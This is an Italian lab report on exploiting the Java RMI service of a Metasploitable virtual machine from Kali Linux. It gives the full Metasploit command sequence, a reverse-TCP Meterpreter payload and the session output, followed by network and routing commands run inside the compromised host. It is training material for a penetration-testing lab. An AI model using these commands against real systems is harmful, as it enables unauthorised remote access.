

RELAZIONE DI LABORATORIO:

SFRUTTAMENTO VULNERABILITÀ JAVA RMI SU METASPLOITABLE

DATA : 24 LUGLIO 2026

OGGETTO : Sfruttamento della vulnerabilità java RMI (porta 1099) e raccolta informazioni

1. Obiettivo dell'Esercizio

L'obiettivo era configurare un ambiente di laboratorio virtuale per simulare un attacco informatico, sfruttare una vulnerabilità specifica su una macchina vittima e raccogliere prove forensi (configurazione di rete e tabella di routing) dalla sessione ottenuta.

2. Topologia di Rete e Configurazione

Sono state utilizzate due macchine virtuali collegate tramite (Bridged Adapter) su VirtualBox per garantire la comunicazione diretta e la raggiungibilità degli indirizzi IP statici richiesti. abbiamo

Ruolo	Macchina Virtuale	Sistema Operativo	Indirizzo IP Assegnato
Attaccante	Kali Linux	Kali Linux 2024.x	192.168.11.111/24
Vittima	Metasploitable	Ubuntu/Debian Legacy	192.168.11.112/24

Dopo averli configurati ho eseguito un ping verso la Metasploitable per vedere se il tutto è stato configurato

3. Procedura di Sfruttamento (Exploitation)

Verifichiamo la porta che volevamo usare se è aperta usando

```
nmap -sV -p 1099 192.168.11.112
```

è il risultato è che la porta che ci è stato assegnato ad entrare cioè la porta 1099/tcp è aperta

3.2 Sfruttamento con Metasploit

Comandi eseguiti:

```
msfconsole
```

```
use exploit/multi/misc/java_rmi_server
```

```
set RHOSTS 192.168.11.112
```

```
set RPORT 1099
```

```
set PAYLOAD java/meterpreter/reverse_tcp
```

```
set LHOST 192.168.11.111
```

```
set LPORT 4444
```

```
exploit
```

```
msf > use exploit/multi/misc/java_rmi_server
[*] No payload configured, defaulting to java/meterpreter/reverse_tcp
msf exploit(multi/misc/java_rmi_server) > set rhost 192.168.11.112
rhost => 192.168.11.112
msf exploit(multi/misc/java_rmi_server) > set port 1099
[!] Unknown datastore option: port. Did you mean RPORT?
port => 1099
msf exploit(multi/misc/java_rmi_server) > set rport 1099
rport => 1099
msf exploit(multi/misc/java_rmi_server) > set payload java/meterpreter/reverse_tcp
payload => java/meterpreter/reverse_tcp
msf exploit(multi/misc/java_rmi_server) > set lhost 192.168.11.111
lhost => 192.168.11.111
msf exploit(multi/misc/java_rmi_server) > set lport 4444
lport => 4444
msf exploit(multi/misc/java_rmi_server) > show options
```

```
msf exploit(multi/misc/java_rmi_server) > exploit
[*] Started reverse TCP handler on 192.168.11.111:4444
[*] 192.168.11.112:1099 - Using URL: http://192.168.11.111:8080/tx3U6idRab
[*] 192.168.11.112:1099 - Server started.
[*] 192.168.11.112:1099 - Sending RMI Header ...
[*] 192.168.11.112:1099 - Sending RMI Call ...
[*] 192.168.11.112:1099 - Replied to request for payload JAR
[*] Sending stage (58073 bytes) to 192.168.11.112
[*] Meterpreter session 1 opened (192.168.11.111:4444 -> 192.168.11.112:57767) at 2026-07-24 16:05:02 +0200
```

4. Raccolta delle Evidenze

ora ci troviamo dentro alla macchina della vittima

```
meterpreter > ifconfig

Interface 1
=====
Name       : lo - lo
Hardware MAC : 00:00:00:00:00:00
IPv4 Address : 127.0.0.1
IPv4 Netmask : 255.0.0.0
IPv6 Address : ::1
IPv6 Netmask : ::

Interface 2
=====
Name       : eth0 - eth0
Hardware MAC : 00:00:00:00:00:00
IPv4 Address : 192.168.11.112
IPv4 Netmask : 255.255.255.0
IPv6 Address : fe80::a00:27ff:fe18:c430
IPv6 Netmask : ::

meterpreter > shell
Process 1 created.
Channel 1 created.
route -n
Kernel IP routing table
Destination    Gateway         Genmask         Flags Metric Ref    Use Iface
192.168.11.0   0.0.0.0         255.255.255.0   U        0      0      0 eth0
exit
meterpreter > 
```